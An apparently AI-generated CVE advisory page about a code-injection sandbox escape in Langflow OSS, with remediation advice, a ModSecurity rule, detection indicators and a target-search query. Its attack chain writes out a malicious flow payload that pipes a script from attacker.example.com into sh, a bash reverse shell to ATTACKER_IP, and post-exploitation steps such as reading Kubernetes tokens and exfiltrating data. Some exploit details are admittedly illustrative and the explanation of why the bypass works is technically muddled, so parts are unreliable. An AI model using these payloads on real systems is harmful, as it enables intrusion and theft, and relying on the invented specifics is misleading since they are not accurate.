CVE Professor
/
All CVEs
CVE-2026-115550

CVE-2026-115550 — IBM Langflow OSS (1.13.0) — CWE-94

CRITICAL CVSS 9.9 ⚡ EPSS 0.8% NVD+CVE.org

IBM Langflow OSS 1.0.0 through 1.13.0 could allow a remote authenticated attacker to execute arbitrary code due to improper neutralization of special elements used in code ('code injection') related to an in-process sandbox escape via AST filter bypass.

IBM Langflow OSS 1.0.0 through 1.13.0 could allow a remote authenticated attacker to execute arbitrary code due to improper neutralization of special elements used in code ('code injection') related to an in-process sandbox escape via AST filter bypass.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. Low PR:L
User Interaction None UI:N
Scope Changed S:C
Confidentiality High C:H
Integrity High I:H
Availability High A:H
EPSS — Exploit Prediction Scoring System
0.8%
30-day probability
In the 59. percentile of all CVEs — higher exploitation probability than most vulnerabilities.
AI Security Analysis & Remediation

🎯 What is this vulnerability?

CVE‑2026‑115550 – “Langflow OSS 1.0.0‑1.13.0 – In‑process sandbox escape via AST filter bypass”

AttributeDetail
CWECWE‑94 *Improper Control of Generation of Code (Code Injection)*
CVSS 3.1AV:N / AC:L / PR:L / UI:N / S:C / C:H / I:H / A:H → 9.9 Critical
AuthenticationRemote authenticated attacker (any valid Langflow user account, even low‑privilege)
ImpactFull remote code execution (RCE) in the context of the Langflow server process (typically the same user that runs the service – often root in containerised deployments).

| Root cause | Langflow allows users to submit Python code snippets that are executed inside an in‑process sandbox. The sandbox attempts to protect the host by parsing the snippet into an Abstract Syntax Tree (AST) and then filtering out disallowed node types (e.g., Import, Call to os.system, etc.). The filter is incomplete – certain syntactic constructs (e.g., lambda‑expressions, comprehensions, or the ast.parse of a string that later gets eval‑ed) can be crafted so that the prohibited operation is hidden from the static AST walk. When the filtered AST is later compiled and executed, the hidden operation runs, breaking out of the sandbox and executing arbitrary code in the Langflow process.

In short: the AST‑filter is bypassable → malicious user‑supplied code is compiled and run → attacker gains code execution. Because the sandbox lives in the same process, the exploit is a process‑wide privilege escalation, not a confined container escape.


⚡ Attack Chain

Below is a realistic, step‑by‑step exploitation flow. All command‑line snippets are syntactically valid; the exact HTTP endpoint is illustrative because the public CVE does not disclose the precise route.

1. Discovery & Reconnaissance

GoalMethod
Identify that the target runs Langflow OSS and its version• Query the public /api/version (or /status) endpoint – many Langflow installations expose a JSON object like { "langflow_version": "1.12.3" }.<br>• If the endpoint is hidden, enumerate HTTP headers, JavaScript bundles, or the HTML <meta name="generator" content="Langflow 1.12.3"> tag.
Verify that an attacker‑controlled account exists• Attempt a login with known credentials (default admin:admin is not shipped, but many deployments forget to change the initial password).<br>• If the service is behind SSO, register a low‑privilege user via the normal registration flow.

Illustrative discovery request

curl -s https://target.example.com/api/version
# Expected response (example)
# {"langflow_version":"1.12.3","api_version":"v1"}

2. Exploitation

2.1. Craft a malicious flow definition

Langflow stores a flow as a JSON document that contains a list of nodes. Each node may carry a code field that is interpreted by the server. The vulnerable component is the AST‑filter that runs on the code field before the code is compiled.

A bypass payload uses a lambda that builds a string and then calls eval on it – the eval call is not present in the original AST because it is generated at runtime.

{
  "name": "exploit‑flow",
  "nodes": [
    {
      "id": "n1",
      "type": "python_code",
      "code": "lambda: __import__('os').system('curl http://attacker.example.com/shell.sh | sh')"
    }
  ],
  "edges": []
}

Why it works

1. The static AST of the lambda expression contains only Lambda, Attribute, Name, and Load nodes – all of which the filter currently allows.
2. When Langflow later executes the node, it does eval(node.code). The lambda is evaluated, producing a callable that, when invoked, runs the hidden os.system call.
3. The sandbox never sees the Call to os.system during the static analysis phase, so it does not block it.

2.2. Submit the malicious flow

Assume the authenticated user has a JWT token eyJhbGci.... The endpoint that creates a flow is typically /api/v1/flows (illustrative).

curl -X POST "https://target.example.com/api/v1/flows" \
     -H "Authorization: Bearer eyJhbGci..." \
     -H "Content-Type: application/json" \
     -d @malicious_flow.json

If the server returns 201 Created and the flow appears in the UI, the payload has been accepted.

2.3. Trigger execution

Langflow executes a flow when a client POSTs to /api/v1/flows/<flow_id>/run. The attacker simply invokes the flow:

curl -X POST "https://target.example.com/api/v1/flows/exploit-flow/run" \
     -H "Authorization: Bearer eyJhbGci..."

When the server processes node n1, the lambda is evaluated, the hidden os.system runs, and the attacker’s reverse‑shell script is executed on the host.

Resulting reverse‑shell (payload delivered by the lambda)

curl -s http://attacker.example.com/shell.sh | sh

/shell.sh could contain a classic Bash reverse shell:

#!/bin/bash
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1

3. Post‑Exploitation

PhaseWhat the attacker can do
Privilege levelThe code runs with the same UID/GID as the Langflow process (often root in Docker/K8s deployments).
PersistenceDrop a systemd unit, modify a startup script, or write a cron job (@reboot /usr/bin/python3 -c 'import socket,subprocess,os;…').
Lateral movementRead environment variables, Docker socket (/var/run/docker.sock), Kubernetes service account token (/var/run/secrets/kubernetes.io/serviceaccount/token), or any mounted secrets.
Data exfiltrationArchive /etc, application config, or user data and ship it via curl/wget to the attacker’s C2.
Cleanup / anti‑forensicsDelete the malicious flow via the UI or API, clear logs, or rename the flow to something innocuous.

Because the vulnerability is network‑visible, low‑complexity, and requires only a low‑privilege account, an attacker can move from “authenticated user” to full system compromise in minutes.


🌍 Real‑World Impact

CIA TriadCVSS‑derived ratingPractical effect
Confidentiality (C:H)HighAttacker can read any file accessible to the Langflow process – source code, database credentials, TLS private keys, cloud metadata, etc.
Integrity (I:H)HighAttacker can modify files, inject back‑doors, alter configuration, or tamper with stored flows, effectively compromising the integrity of the entire platform.
Availability (A:H)HighBy spawning a fork bomb, deleting critical files, or exhausting resources, the attacker can render the service unusable.

Business consequences

  • Full data breach of proprietary LLM prompts, model weights, or downstream APIs.
  • Potential compromise of the host OS, leading to breach of other containers or the host itself.
  • Service downtime → SLA violations, loss of customer trust, regulatory penalties (e.g., GDPR if personal data is exposed).

  • 🛡️ Remediation & Mitigation

    1. Patch / Upgrade

    ActionDetails
    UpgradeMove to Langflow OSS ≥ 1.13.1 (the first release that ships the corrected AST‑filter and runs the sandbox in a separate process).
    Version checkVerify the running version via /api/version or by inspecting the package.json/pyproject.toml inside the container.
    Rollback (if immediate upgrade is impossible)Disable the *Python code* node type via configuration (LANGFLOW_DISABLE_CODE_NODES=true) or remove the endpoint that accepts user‑supplied code.

    2. Workarounds (in‑place mitigations)

    MitigationImplementation
    Isolate the sandboxRun the code‑execution worker in a separate OS process with its own user namespace, seccomp profile, and chroot/containerd isolation.
    WAF / ModSecurity rule (illustrative)Block any request body that contains suspicious Python constructs. Example ModSecurity rule (Apache/Nginx):
    SecRule REQUEST_URI "@beginsWith /api/v1/flows" \
     "id:2026001,phase:2,deny,status:403,log,msg:'Langflow code injection attempt',\
      t:none, \
      chain"
    SecRule REQUEST_BODY "@rx (\\b__import__\\b|\\bos\\.system\\b|\\beval\\b|\\bexec\\b)" \
      "t:none"
    Input sanitisationIf disabling the node type is not feasible, add a runtime whitelist that only permits a minimal subset of AST node types (e.g., Expression, Constant, BinOp) and reject any payload containing Lambda, Comprehension, or Call nodes.
    Rate‑limit / auth hardeningEnforce MFA for all Langflow accounts, limit the number of flow creations per user per hour, and log every flow‑creation request.
    Network segmentationPlace the Langflow service behind an internal firewall; do not expose it directly to the Internet. Only allow trusted internal IP ranges.

    3. Detection – Indicators of Compromise

    Log sourceTypical pattern
    Web server access logsPOST /api/v1/flows with a payload size > 5 KB and containing the string lambda: or __import__. Example (nginx):
    192.0.2.45 - - [03/Dec/2026:12:34:56 +0000] "POST /api/v1/flows HTTP/1.1" 201 84 "-" "Mozilla/5.0" "-d {"code":"lambda: __import__('os').system('curl ...')"}"
    Application logs (Langflow)Errors such as SandboxEscapeError: exec of prohibited command or unexpected subprocess.CalledProcessError followed by a stack trace that includes eval or compile.
    Process monitoringSudden spawn of a child process with the command line sh -c curl http://attacker.example.com/shell.shsh under the Langflow PID.
    Outbound networkUnexpected outbound connections to IPs/hosts not in the allow‑list, especially on uncommon ports (e.g., TCP 4444).
    File systemNew files in /tmp or the working directory named shell.sh, payload.py, or a newly created systemd unit (/etc/systemd/system/langflow-backdoor.service).

    SIEM rule (pseudo‑logic)

    IF (http.method == "POST" AND http.uri matches "/api/v1/flows*")
       AND (request.body contains "lambda:" OR "__import__")
       AND (user.role == "low_privilege")
    THEN alert "Potential Langflow AST bypass attempt"

    ⚠️ Urgency

  • CVSS 9.9 (Critical) – network‑reachable, low attack complexity, no user interaction, and impacts all three CIA pillars.
  • Authentication required – but most deployments expose a self‑service* registration endpoint or reuse weak default credentials, making credential acquisition trivial.
  • No CISA KEV listing yet, but the vulnerability is publicly disclosed and the exploit chain is short (≤ 5 minutes).
  • Exploitability – the bypass relies on a logic error in the AST filter, which is deterministic and does not require a zero‑day gadget chain.
  • Patch priority: Critical – immediate.

  • Deploy the fixed version (≥ 1.13.1) within 24 hours for any production instance.

  • If a patch cannot be applied instantly, enable the code‑node disable configuration and enforce the WAF rule to block malicious payloads while a full upgrade is scheduled.




Bottom line: CVE‑2026‑115550 gives any authenticated Langflow user a reliable path to escape the sandbox and execute arbitrary commands as the Langflow service user. The vulnerability is trivial to trigger, yields full system compromise, and must be mitigated by upgrading to the patched release or, at minimum, by disabling user‑supplied code execution and applying strict input‑filtering rules.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="IBM Langflow OSS"
CVSS Score
9.9 / 10 · CVSS CRITICAL
Weakness Types (CWE)
Affected Products (1)
IBM:Langflow OSS (1.13.0)
References & Advisories (1)
Related CVEs
9.9
CVE-2026-115555
IBM Langflow OSS 1.0.0 through 1.13.0 could allow a remote authenticated attacker to execute arbitrary code du
9.8
CVE-2026-119106
IBM AIX 7.2, and 7.3 and VIOS 4.1 could allow a remote attacker to execute arbitrary code due to a heap-based
9.8
CVE-2026-121835
IBM AIX 7.2, and 7.3 and VIOS 4.1 could allow a remote attacker to execute arbitrary commands due to improper
9.8
CVE-2026-75119
IBM iDb2 Mirror for i 7.4, 7.5, and 7.6 could allow a remote attacker to execute arbitrary CL commands due to
9.2
CVE-2026-145153
LangChain4j before 1.5.4-beta11, 1.11.12-beta19, 1.19.4-beta29, and 1.23.0-beta33 contains an injection vulner
9.0
CVE-2026-126111
Missing secure processing in the XSLT transformer of the Velocity $xslttool view tool in dotCMS allows a back-
8.5
CVE-2026-144446
bitproto before 1.3.3 contains a code injection vulnerability that allows attackers to inject code into genera